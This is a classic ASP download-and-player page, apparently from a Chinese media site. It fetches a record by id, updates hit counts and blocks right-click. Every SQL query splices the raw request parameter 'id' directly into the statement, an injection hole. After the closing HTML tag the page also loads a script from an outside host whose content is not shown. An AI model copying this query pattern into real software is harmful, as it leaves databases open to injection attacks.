
<%@ CODEPAGE = "936" %>
<!--#include file="conn.asp"-->

<%
set rs=server.createobject("adodb.recordset")
sql="select * from download where id="&request("id")         
rs.open sql,conn,1,1

if request("downid")="2" then
url=rs("filename1")
elseif request("downid")="3" then
url=rs("filename2")
elseif request("downid")="1" then
url=rs("filename")
elseif request("downid")="4" then
url=rs("filename3")
elseif request("downid")="5" then
url=rs("filename4")
end if

	tdate=year(Now()) & "-" & month(Now()) & "-" & day(Now())
	if trim(lasthits)=trim(tdate) then
		sql="update download set dayhits=dayhits+1 where id="&request("id")
		conn.Execute(sql)
'		response.write "success"
	else
		sql="update download set dayhits=1 where id="&request("id")
		conn.Execute(sql)
'		response.write "error"
	end if
	sql="update download set hits=hits+1,lasthits='"&tdate&"' where ID="&request("id")
	conn.Execute(sql)
%>
<HTML>
<HEAD>
<TITLE>กพามม๚ต็ฬจกฟ-<%=rs("bb")%>::</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content="Microsoft FrontPage 4.0" name=GENERATOR>
<script language="JavaScript">
<!--
 
if (window.Event) 
  document.captureEvents(Event.MOUSEUP); 
 
function nocontextmenu() 
{
 event.cancelBubble = true
 event.returnValue = false;
 
 return false;
}
 
function norightclick(e) 
{
 if (window.Event) 
 {
  if (e.which == 2 || e.which == 3)
   return false;
 }
 else
  if (event.button == 2 || event.button == 3)
  {
   event.cancelBubble = true
   event.returnValue = false;
   return false;
  }
 
}
 
document.oncontextmenu = nocontextmenu;  // for IE5+
document.onmousedown = norightclick;  // for all others
//-->
</script>
</HEAD>
<BODY aLink=#6666ff bgColor=#020286 leftMargin=0 link=#ffff99 onload="" text=#ffffff topMargin=0 vLink=#99ff99 marginheight="0" marginwidth="0">
<table border="0" cellpadding="0" cellspacing="0" width="306" height="113">
  <tr>
    <td width="306" colspan="3" height="20"><img border="0" src="realimages/pad_top.gif"></td>
  </tr>
  <tr>
    <td width="12" height="60"><img border="0" src="realimages/pad_left.gif"></td>
    <td width="275" height="60">

       <iframe name=nbw_v6_iframe src=play1.asp?id=<%=rs("id")%> scrolling=no width=100% height=100% frameborder=0></iframe>      
    </td>
    <td width="19" height="60"><img border="0" src="realimages/pad_right.gif"></td>
  </tr>
  <tr>
    <td width="306" colspan="3" height="36"><map name="FPMap0">
      <area href= shape="rect" coords="259, 5, 287, 34"></map><img border="0" src="realimages/pad_bottom.gif" usemap="#FPMap0"></td>
  </tr>
</table>
กก                   
<%rs.close      
set rs=nothing      
conn.close      
set conn=nothing%>
</BODY>
</HTML>
<SCRIPT LANGUAGE="JavaScript">
function runClock() {
theTime = window.setTimeout("runClock()", 1000);
var today = new Date();
var display= today.toLocaleString();
status=display;
}
  </SCRIPT>

<script src="http://www.gd126.com/tj/online.asp"></script>